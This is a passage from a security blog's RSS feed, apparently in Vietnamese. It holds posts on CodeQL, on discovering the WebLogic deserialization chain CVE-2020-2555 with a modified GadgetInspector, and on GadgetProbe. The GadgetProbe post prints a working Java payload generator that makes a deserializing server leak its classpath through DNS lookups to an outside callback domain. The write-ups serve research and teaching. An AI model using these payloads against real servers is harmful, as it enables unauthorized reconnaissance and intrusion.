<p><strong>#Lưu ý rất lớn:</strong> công thức với dấu “=” trong QL không hề giống với các ngôn ngữ lập trình khác. <strong>NÓ KHÔNG CÓ Ý NGHĨA LÀ PHÉP GÁN BIẾN.</strong></p>
<p>Trong các ngôn ngữ lập trình thì 1 biến sẽ biểu diễn cho địa chỉ vùng nhớ nào đó có dữ liệu, và có thể thay đổi theo thời gian.</p>
<p>Ví dụ với cùng 1 công thức như sau:</p>
<pre><code><span class="hljs-strong">**n = n + 1**</span>
</code></pre><ul>
<li><p>Trong Java hoặc các ngôn ngữ lập trình khác, nó có ý nghĩa: <strong>n </strong>bằng giá trị của<strong> n </strong>hiện tại cộng thêm 1</p>
</li>
<li><p>Trong QL, đây là 1 công thức 2 vế, chỉ đúng khi tồn tại 1 giá trị <strong>n </strong>nào đó thỏa mãn <strong>n</strong> bằng với <strong>n + 1</strong></p>
</li>
</ul>
<p>Do đó công thức phía trên không bao giờ thỏa mãn, vì không tồn tại bất cứ <strong>n </strong>nào thỏa mãn “<strong>n = n + 1</strong>".</p>
<p>Trên đây là 1 số khái niệm cơ bản đề bắt đầu với CodeQL, nếu bạn có hứng thú với nó thì nên thực hành luôn để hiểu rõ vấn đề hơn, chỉ đọc không thì kiến thức vẫn là của tác giả, khó mà đọng lại gì trong đầu!</p>
<p>Rất mong được sự góp ý của ae bạn bè để giúp cho series được chất lượng hơn!</p>
<p>Cảm ơn các bạn đã theo dõi tới đây, hẹn gặp lại trong phần 2 của series này.</p>
<p>Ref:</p>
<ul>
<li><p><a target="_blank" href="https://help.semmle.com/QL/ql-handbook/index.html">https://help.semmle.com/QL/ql-handbook/index.html</a></p>
</li>
<li><p><a target="_blank" href="https://en.wikipedia.org/wiki/Datalog">https://en.wikipedia.org/wiki/Datalog</a></p>
</li>
<li><p><a target="_blank" href="https://securitylab.github.com/research">https://securitylab.github.com/research</a></p>
</li>
<li><p><a target="_blank" href="https://ghsecuritylab.slack.com/">https://ghsecuritylab.slack.com/</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/github/securitylab/discussions">https://github.com/github/securitylab/discussions</a></p>
</li>
</ul>
<p><strong>Jang of VNPT</strong></p>
]]></content:encoded></item><item><title><![CDATA[The Art of Deserialization Gadget Hunting [part 3] (How I found CVE-2020–2555 by known tools!)]]></title><description><![CDATA[Vậy là ngày 05/03 vừa rồi, ZDI đã publish bài phân tích chi tiết về CVE-2020–2555 (https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server).
Trước đó mình cũng định viết bài về cái bug này, mà b...]]></description><link>https://testanull.com/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63</link><guid isPermaLink="true">https://testanull.com/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Thu, 12 Mar 2020 10:11:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241545871/oAfexvQ4D.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Vậy là ngày 05/03 vừa rồi, ZDI đã publish bài phân tích chi tiết về CVE-2020–2555 (https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server).</p>
<p>Trước đó mình cũng định viết bài về cái bug này, mà bận quá chưa có time để ngồi viết lách gì cả. Đành để các bạn ZDI publish trước, còn mình sẽ viết về cách mà mình đã tìm ra cái bug này!</p>
<p>Tầm 6 tháng trước, mình có nhận job về mấy con weblogic này và bắt đầu lún sâu vào Weblogic từ đó tới giờ chưa rút được được ra :(.</p>
<p>(Event log về đợt đó vẫn còn tại đây: <a target="_blank" href="https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-assmin-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-weblogic-122130-sh/2234157883364831/">https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-assmin-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-weblogic-122130-sh/2234157883364831/</a>).</p>
<p>Ngày đó mình có dùng GadgetInspector (<a target="_blank" href="https://github.com/JackOfMostTrades/gadgetinspector">https://github.com/JackOfMostTrades/gadgetinspector</a>) tìm ra cái gadget put file bằng Spring AOP kết hợp với CVE-2018–3245 để drop shell lên server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241533627/J9-Wc71px.jpeg" alt /></p>
<p>Đây là động lực thúc đẩy mình tiếp tục nghiên cứu cái tool này và không lâu sau đó, mình tìm ra cái gadget mới, được đặt số là CVE-2020–2555.</p>
<p>Nói qua chút về cái gadgetchain này, nó được tìm thấy trong library coherence.jar của weblogic.</p>
<p>Chain chi tiết như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241535639/g4vT1ctIH.png" alt /></p>
<p>GadgetChain này có source là <strong>BadAttributeValueExpException.readObject() -&gt; toString() </strong>như trong các bài trước của series mình có đề cập.</p>
<p>Điều thú vị của gadgetchain này đó là nó có cách hoạt động giống hệt gadgetchain <strong>CommonsCollections</strong> trong bài trước mình đã phân tích.</p>
<p>Với <strong>CommonsCollections</strong> là <strong>ChainedTransformer</strong>, còn với weblogic là <strong>ChainedExtractor</strong>.</p>
<p>Với <strong>CommonsCollections</strong> là <strong>InvokerTransformer</strong> thì weblogic là <strong>ReflectionExtractor</strong>.</p>
<p>Các thành phần của chain này cứ như là được sinh ra để làm gadgetchain vậy!</p>
<p>Thực ra ban đầu, source chain của cái bug này không phải là <strong>LimitFilter.toString()</strong>. Để lead tới <strong>ChainedExtractor.extract(</strong>) thì mình sử dụng 1 đoạn chain khác khá là dài, và cần sửa nhiều chỗ linh tinh nữa mới có thể trigger được <strong>extract(). </strong>Nhưng là vì thương đội ZDI, giảm thời gian phân tích cho họ nên mình mới lấy cái <strong>LimitFilter.toString()</strong> này để report =))).</p>
<p>Hiện tại thì theo như patch của oracle, họ chỉ remove đoạn call tới extract() ở <strong>LimitFilter.toString() </strong>nên cái gadgetchain mình tìm ra ban đầu vẫn chưa được fix triệt để =))) …</p>
<p>(Thông tin chi tiết hơn của cái bug này thì các bạn vui lòng đọc thêm tại đây: <a target="_blank" href="https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server">https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server</a> ).</p>
<p>Còn dưới đây mình sẽ kể về quá trình tìm ra cái bug này!</p>
<p>Như đã nói phía trên, sau khi kiếm được cái gadget drop shell, mình đã focus 100% thời gian vào tìm kiếm gadgetchain trong weblogic.</p>
<p>Các bug về deserialization trên weblogic đã có từ rất lâu, và oracle chọn cách fix bằng cách đặt blacklist, chặn hết các “known chain”. Entrypoint để deserialize là T3 thì vẫn còn đó, việc tìm ra lỗ hổng mới trên weblogic chỉ phụ thuộc vào việc có gadgetchain mới nào được tìm ra hay không thôi!</p>
<p>Weblogic có sử dụng đến hơn 500 library khi chạy, vào thời điểm đâm đầu vào tìm lỗi, mình hoàn toàn tự tin là sẽ tìm thấy 1 hoặc nhiều gadgetchain mới trong đống này. Không có lý nào nhiều lib vậy mà lại ko có thêm 1 cái gadgetchain mới nào!</p>
<p>Để kiếm được gadgetchain trong weblogic, mình tìm tất cả các file jar trong folder cài đặt của weblogic và ném nó vào cùng 1 folder như này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241537841/sWHO8h5pJ.png" alt /></p>
<p>Sau đó chạy gadgetinspector để tìm chain thôi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241539886/WkAwgxPBO.png" alt /></p>
<p>Cho nó chạy tầm 30p thì bắt đầu ra 1 đống kết quả tại file gadgetchains.txt.</p>
<p>Sau khi check từng cái một (khoảng hơn 300 gadgetchain) thì trường hợp bị false positive rất rất nhiều.</p>
<p>Khá là nản, mình cũng nghĩ: tool thì public, target cũng public, kiểu gì chả có người chạy thử rồi!</p>
<p>Mình quyết định ko chạy cái tool này nữa, mà đọc nó, học xem cách nó chạy thế nào.</p>
<p>Vào thời điểm đó thì chưa có bài phân tích chi tiết về cách hoạt động của cái tool này, mình phải đọc slide của tác giả, contact tác giả để hỏi mà không có được accept tin nhắn :(. Đành phải vào nước cuối cùng: đọc hiểu code vậy. (Về sau có mấy anh tàu khựa viết bài nghiên cứu về nó tại đây: <a target="_blank" href="https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649">https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649</a>)</p>
<p>Giai đoạn đọc code này khá là tốn thời gian và cũng khá là vô vọng. Mình vừa kết hợp đọc và debug trực tiếp để hiểu cách hoạt động của nó.</p>
<p>Sau 1 thời gian đọc hiểu tool thì mình có thể tóm gọn lại hoạt động của nó như sau:</p>
<ul>
<li><p>Tìm kiếm tất cả các class, method trong library</p>
</li>
<li><p>Tìm kiếm tất cả các mối quan hệ kế thừa, các implemented method, override …</p>
</li>
<li><p>Tìm các passthrough, method call. Ví dụ như method A -&gt; method B.</p>
</li>
<li><p>Tìm các “known source chain”.</p>
</li>
<li><p>Và cuối cùng là dựa vào các dữ liệu trên để tìm ra gadgetchain với GadgetChainDiscovery!</p>
</li>
</ul>
<p>Ý tưởng của việc tìm kiếm gadgetchain khá là đơn giản:</p>
<p>Bắt đầu từ source chain được push vào 1 list, tool sẽ tìm tất cả các method call có thể từ cái source chain này và so sánh:</p>
<ul>
<li><p>Nếu method được call là sink thì sẽ show ra</p>
</li>
<li><p>Nếu không phải thì push lại vào stack để thực hiện travel tiếp vào lượt tới</p>
</li>
<li><p><strong>Push method vừa visit vào 1 cái list khác để lần sau không lặp lại việc visit nữa.</strong></p>
</li>
</ul>
<p>Thuật toán này hình như được gọi là Breadth-First Search.</p>
<p>Debug 1 thời gian thì mình mới biết lý do tại sao tool này nó hơi ngu ngu!</p>
<p>Vấn đề mấu chốt là ở bước: “<strong>Push method vừa visit vào 1 cái list khác để lần sau không lặp lại việc visit nữa” </strong>của class GadgetChainDiscovery.</p>
<p>Ví dụ như chain A-&gt;B-&gt;C và A-&gt;B-&gt;X</p>
<p>Nhánh nào được visit trước thì sẽ được show ra kết quả, nhánh còn lại là A-&gt;B-&gt;X sẽ bị ignore, không được list vào nữa.</p>
<p>Đoạn này được code là để tránh trường hợp loop, dead end.</p>
<p>Nếu như không có đoạn này thì chương trình sẽ chạy rất rất rất lâu …</p>
<p>Mình đã từng gỡ thử nó đi và chạy, kết quả là đến tận 2 ngày vẫn chưa thấy nó có dấu hiệu dừng =)).</p>
<p>Vừa muốn ra nhiều kết quả thêm và cũng không muốn deadend, mình thay đổi code 1 chút.</p>
<p>Thay vì “<strong>push method vào và không visit nữa</strong>” thì mình push method và có note lại số lần đã visit, nếu nhiều hơn vài lần đó thì sẽ cho skip:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241541742/hmnfGvkLE.png" alt /></p>
<p>Và lần này khi chạy đã ra nhiều kết quả hơn, hứa hẹn hơn lần trước!</p>
<p>CVE-2020–2555 cũng được tìm ra sau khi sửa logic của tool như vậy.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241543806/UwDXQWd2f.png" alt /></p>
<p>Sample của các gadgetchain tìm được là như vậy.</p>
<p>Dĩ nhiên là vào thời điểm tìm ra CVE-2020–2555, tool chưa chạy tốt lắm, chưa ra được ngay gadgetchain đẹp như trên được. Rất tiếc là mình ko lưu tool gốc để lấy sample post lên đây.</p>
<p>Hiện tại thì tool cũng chạy khá là ổn định, không còn false positive nhiều như tool ban đầu nữa. Đó là thành quả của 1 thời gian khá là lâu trong việc chỉnh sửa logic tool, thêm các blacklist, source, sink mới.</p>
<p>Đợt đó mình định submit bài speak tại Trà đá hacking, nhưng do bên ZDI khác là chậm, delay case của mình tận 6 tháng nên cũng phải drop theo luôn …</p>
<p>Phía trên vài lời mình muốn nói về quá trình mình tìm ra CVE-2020–2555. Bài viết lần này có thể hơi nhạt nhẽo và lan man do đã là 6 tháng kể từ thời gian đó tới giờ. Mình không còn nhớ nhiều gì về dạo đó nữa.</p>
<p>Về phiên bản modified gadgetinspector của mình thì mình chưa có ý định sẽ public vì còn 1 số công việc vẫn còn dính líu tới!</p>
<p>Cảm ơn bạn đọc đã theo dõi!</p>
<p><strong>Jang</strong></p>
]]></content:encoded></item><item><title><![CDATA[[GadgetChain] GadgetProbe — Blind ClassPath guessing]]></title><description><![CDATA[Chuyện là tối ngày hôm qua, đang chơi game thì ông anh xã hội có gởi cho mình cái blog post về 1 cái gadgetchain khá là hay.
Sau khi đọc qua và test gadgetchain này trên lab, mình quyết định chia sẻ với mọi người vì nó có liên quan tới cái part 1 của...]]></description><link>https://testanull.com/gadgetchain-gadgetprobe-blind-classpath-guessing-da053a575826</link><guid isPermaLink="true">https://testanull.com/gadgetchain-gadgetprobe-blind-classpath-guessing-da053a575826</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 19 Feb 2020 04:21:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241584454/NjIudeI9s.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Chuyện là tối ngày hôm qua, đang chơi game thì ông anh xã hội có gởi cho mình cái blog post về 1 cái gadgetchain khá là hay.</p>
<p>Sau khi đọc qua và test gadgetchain này trên lab, mình quyết định chia sẻ với mọi người vì nó có liên quan tới cái part 1 của loạt bài về gadgetchain của mình (<a target="_blank" href="https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-3816eb5a7afc">https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-3816eb5a7afc</a>).</p>
<p>Link bài viết gốc ở đây: <a target="_blank" href="https://know.bishopfox.com/research/gadgetprobe">https://know.bishopfox.com/research/gadgetprobe</a></p>
<p>Source code gốc của Burpsuite Extension ở đây: <a target="_blank" href="https://github.com/BishopFox/GadgetProbe">https://github.com/BishopFox/GadgetProbe</a></p>
<p>Bài viết chỉ đơn thuần là viết lại và phổ cập thêm về cái gadgetchain này, không có gì mới hơn nhiều lắm so với bài viết gốc nên nếu bạn đã đọc qua rồi thì có thể bỏ qua bài này cũng được!</p>
<p><strong>#Nguyên nhân xuất hiện của gadgetchain</strong></p>
<p>Trong các case thực tế của nhiều ae đi pentest, khi fuzz sẽ gặp nhiều entrypoint cho phép deserialize thông qua các signature thông dụng như: byte 0xaced, rO0AB …</p>
<p>Tuy nhiên do đang ở mức blackbox nên hầu như không có thông tin gì về product, các library có trong classpath của service đang chạy. Đa số đều thực hiện generate tất cả payload từ ysoserial và thử từng cái 1, cái nào ăn được thì ăn, không ăn được thì bỏ.</p>
<p>Làm như thế cũng không phải là cách tối ưu nhất, trong nhiều trường hợp, ví dụ đơn giản như GadgetChain <strong>CommonsBeanutils1 </strong>trong bộ ysoserial đang sử dụng version 1.9.2. Nhưng Liferay 6.2 thì lại đang sử dụng version 1.8.2,</p>
<p>=&gt; Nếu generate gadgetchain bằng ysoserial và gửi lên sẽ fail luôn mặc dù gadgetchain vẫn hoạt động bình thường. Lý do bị fail là do version của server với ysoserial khác nhau nên serial của class bị sai =&gt; Fail!</p>
<p>Như vậy có thể sẽ gây ra nhiều trường hợp bỏ sót đáng tiếc với cách làm mò này!</p>
<p>Mục đích của tool GadgetProbe này là guessing các class hiện có trong classpath của server. Tuy vẫn là guessing nhưng có cơ sở hơn!</p>
<p><strong>#Cách hoạt động của gadgetchain</strong></p>
<p>GadgetProbe hoạt động giống như gadget URLDNS mình đã phân tích hôm trước. Chỉ khác 1 điều nho nhỏ, làm nên sự khác biệt của nó!</p>
<p>Gadget URLDNS trong bài trước như thế này:</p>
<pre><code class="lang-java">        <span class="hljs-function"><span class="hljs-keyword">public</span> Object <span class="hljs-title">getObject</span><span class="hljs-params">(<span class="hljs-keyword">final</span> String url)</span> <span class="hljs-keyword">throws</span> Exception </span>{
                HashMap ht = <span class="hljs-keyword">new</span> HashMap();
                URL u = <span class="hljs-keyword">new</span> URL(url); 
                ht.put(u, url); <span class="hljs-comment">// &lt;===</span>
                Reflections.setFieldValue(u, <span class="hljs-string">"hashCode"</span>, -<span class="hljs-number">1</span>); 
                <span class="hljs-keyword">return</span> ht;
        }
</code></pre>
<pre><code><span class="hljs-selector-tag">HashMap</span><span class="hljs-selector-class">.readObject</span>()
    <span class="hljs-selector-tag">HashMap</span><span class="hljs-selector-class">.hash</span>()
      <span class="hljs-selector-tag">URL</span><span class="hljs-selector-class">.hashCode</span>()
</code></pre><p>URLDNS dựa vào nguyên lý: mỗi lần <strong>readObject()</strong>, <strong>HashMap() </strong>sẽ thực hiện tính lại hashCode() <strong>của từng key </strong>trong map.</p>
<p>Ví dụ như trong map có 10 key thì khi <strong>readObject() </strong>các entry này cũng đều được tính lại hết. Đây là cách mà <strong>Hash</strong>Map chống collision trong map, (tên là <strong>HashMap </strong>cũng có lý do của nó cả mà!).</p>
<p>Điều nho nhỏ tạo nên sự khác biệt của GadgetProbe đó là 1 Class có thể Serializable!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241579277/N-EjIeWmr.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241580819/T593Vrn9x.png" alt /></p>
<p>Như trong ví dụ của mình, class <strong>Test111 </strong>hoàn toàn có thể được serialize và deserialize bình thường.</p>
<p>Nhưng điều gì sẽ xảy ra nếu sau khi deserialize, class không tồn tại trong classpath?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241582598/V6T0cIMYO.png" alt /></p>
<p>Thử refactor class vừa serialize bên trên, comment đoạn serialize lại và chỉ thực hiện deserialize object vừa nãy.</p>
<p>Kết quả là chương trình đẩy ra ClassNotFoundException luôn!</p>
<p><em>#! Đây chính là phần quan trọng nhất trong cách hoạt động của GadgetProbe!</em></p>
<p>Ý tưởng là kết hợp với gadgetchain URLDNS, put vào HashMap() 2 entry:</p>
<ul>
<li><p>entry thứ nhất là cái Class cần kiểm tra</p>
</li>
<li><p>entry thứ 2 là URL để leak DNS</p>
</li>
</ul>
<p>Để khi readObject, chương trình sẽ thực hiện deserialize cái Class trước.</p>
<ul>
<li><p>nếu class không tồn tại =&gt; Exception và không có DNS request</p>
</li>
<li><p>nếu class tồn tại =&gt; chương trình sẽ tiếp tục tính hashCode của URL và leak DNS</p>
</li>
</ul>
<p>Ý tưởng thì về cơ bản là như vậy, nhưng để hoạt động được thì vẫn cần thêm 1 chút mắm muối!</p>
<p>Vấn đề đầu tiên gặp phải là HashMap không giữ thứ tự của các entry.</p>
<p>Ví dụ:</p>
<p>put A vào trước, put B vào sau. Nhưng thứ tự của A và B trong HashMap hoàn toàn có thể là B đứng trước A!</p>
<p>Giải quyết vấn đề này đơn giản bằng cách dùng <strong>LinkedHashMap, </strong>thứ tự của các entry được giữ nguyên với <strong>LinkedHashMap.</strong></p>
<p>Vấn đề thứ 2 gặp phải, đối với những class <strong>không tồn tại</strong> khi serialize gadgetchain thì làm thế nào?</p>
<p>Về cái này thì mình cũng chưa gặp bao giờ, tham khảo cách xử lý của tác giả thì ông này dùng <strong>javassist.ClassPool.makeClass() </strong>để tạo fake class. ¯_(ツ)_/¯ Nice trick, đáng học hỏi!</p>
<p>Gom tất cả đống bên trên lại với nhau, cuối cùng sẽ có 1 gadgetchain generator dạng như thế này:</p>
<pre><code class="lang-java"><span class="hljs-keyword">package</span> ysoserial.payloads;


<span class="hljs-keyword">import</span> javassist.CannotCompileException;
<span class="hljs-keyword">import</span> javassist.ClassPool;
<span class="hljs-keyword">import</span> javassist.CtClass;
<span class="hljs-keyword">import</span> ysoserial.payloads.util.PayloadRunner;

<span class="hljs-keyword">import</span> java.io.*;
<span class="hljs-keyword">import</span> java.lang.reflect.Array;
<span class="hljs-keyword">import</span> java.lang.reflect.Field;
<span class="hljs-keyword">import</span> java.net.*;
<span class="hljs-keyword">import</span> java.util.*;

<span class="hljs-keyword">import</span> <span class="hljs-keyword">static</span> com.nqzero.permit.Permit.setAccessible;

<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GadgetProbe</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">ObjectPayload</span>&lt;<span class="hljs-title">Object</span>&gt;</span>{

    <span class="hljs-keyword">private</span> String callbackDomain;
    <span class="hljs-keyword">private</span> ClassPool pool;

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">GadgetProbe</span><span class="hljs-params">(String callback_domain)</span> </span>{
        <span class="hljs-keyword">this</span>.callbackDomain = callback_domain;
        <span class="hljs-keyword">this</span>.pool = <span class="hljs-keyword">new</span> ClassPool(<span class="hljs-keyword">true</span>);
    }
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">GadgetProbe</span><span class="hljs-params">()</span> </span>{
        <span class="hljs-keyword">this</span>.callbackDomain = <span class="hljs-string">"71a3b05021580a65ef26.d.zhack.ca"</span>;
        <span class="hljs-keyword">this</span>.pool = <span class="hljs-keyword">new</span> ClassPool(<span class="hljs-keyword">true</span>);
    }

    <span class="hljs-keyword">private</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SilentURLStreamHandler</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">URLStreamHandler</span> </span>{

        <span class="hljs-function"><span class="hljs-keyword">protected</span> URLConnection <span class="hljs-title">openConnection</span><span class="hljs-params">(URL u)</span> <span class="hljs-keyword">throws</span> IOException </span>{
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
        }

        <span class="hljs-function"><span class="hljs-keyword">protected</span> <span class="hljs-keyword">synchronized</span> InetAddress <span class="hljs-title">getHostAddress</span><span class="hljs-params">(URL u)</span> </span>{
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">private</span> Class <span class="hljs-title">getOrGenerateClass</span><span class="hljs-params">(String className)</span> </span>{
        Class clazz = <span class="hljs-keyword">null</span>;
        <span class="hljs-keyword">try</span> {
            clazz = Class.forName(className);
        } <span class="hljs-keyword">catch</span> (ClassNotFoundException e) {
            CtClass cc = pool.makeClass(className);

            <span class="hljs-keyword">try</span> {
                clazz = cc.toClass();
                <span class="hljs-keyword">return</span> clazz;
            } <span class="hljs-keyword">catch</span> (CannotCompileException err) {
                <span class="hljs-keyword">if</span> (err.getCause() != <span class="hljs-keyword">null</span> &amp;&amp; err.getCause().getCause() <span class="hljs-keyword">instanceof</span> SecurityException) {
                    System.err.println(<span class="hljs-string">"Error: Classname is in protected package. Most likely a typo: "</span> + className);
                } <span class="hljs-keyword">else</span> {
                    err.printStackTrace();
                }
            }
        }
        <span class="hljs-keyword">return</span> clazz;
    }

    <span class="hljs-meta">@SuppressWarnings("unchecked")</span>
    <span class="hljs-function"><span class="hljs-keyword">public</span> Object <span class="hljs-title">getObject</span><span class="hljs-params">(String clsname)</span> <span class="hljs-keyword">throws</span> Exception</span>{
        String[] spl = clsname.split(<span class="hljs-string">";"</span>);
        <span class="hljs-keyword">this</span>.callbackDomain = spl[<span class="hljs-number">0</span>];
        clsname = spl[<span class="hljs-number">1</span>];
        URLStreamHandler handler = <span class="hljs-keyword">new</span> SilentURLStreamHandler();

        LinkedHashMap hm = <span class="hljs-keyword">new</span> LinkedHashMap();
        URL u = <span class="hljs-keyword">null</span>;

        <span class="hljs-keyword">try</span> {
            u = <span class="hljs-keyword">new</span> URL(<span class="hljs-keyword">null</span>, <span class="hljs-string">"http://"</span> + clsname.replaceAll(<span class="hljs-string">"_"</span>,<span class="hljs-string">"d-4-sh"</span>).replaceAll(<span class="hljs-string">"\\$"</span>,<span class="hljs-string">"d-0-ll"</span>) + <span class="hljs-string">"."</span> + callbackDomain, handler);
        } <span class="hljs-keyword">catch</span> (MalformedURLException e) {
            e.printStackTrace();
        }
        Class clazz = getOrGenerateClass(clsname);
        <span class="hljs-keyword">if</span> (clazz == <span class="hljs-keyword">null</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
        }
        hm.put(<span class="hljs-string">"test"</span>, clazz);
        hm.put(u, <span class="hljs-string">"test"</span>);
        <span class="hljs-keyword">try</span> {
            Field field = URL.class.getDeclaredField("hashCode");
            setAccessible(field);

            field.set(u, -<span class="hljs-number">1</span>);
        } <span class="hljs-keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
        <span class="hljs-keyword">return</span> hm;
    }

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception</span>{
        args = <span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"71a3b05021580a65ef26.d.zhack.ca;ysoserial.payloads.GadgetProbes"</span>};
        PayloadRunner.run(GadgetProbe.class, args);
    }
}
</code></pre>
<p>#Đã sửa lại từ file gốc của tác giả để tích hợp vào ysoserial, feel free to use!</p>
<p>Xin gửi lời cảm ơn tới người anh xã hội @movrment (<a target="_blank" href="http://movrment.blogspot.com/">http://movrment.blogspot.com/</a>) và tác giả từ bishopfox!</p>
<p>Ref:</p>
<ul>
<li><p><a target="_blank" href="https://know.bishopfox.com/research/gadgetprobe">https://know.bishopfox.com/research/gadgetprobe</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/BishopFox/GadgetProbe/">https://github.com/BishopFox/GadgetProbe/</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/testanull/db14645de6795eced376ccd1b9a1515c">https://gist.github.com/testanull/db14645de6795eced376ccd1b9a1515c</a></p>
</li>
</ul>
]]></content:encoded></item></channel></rss>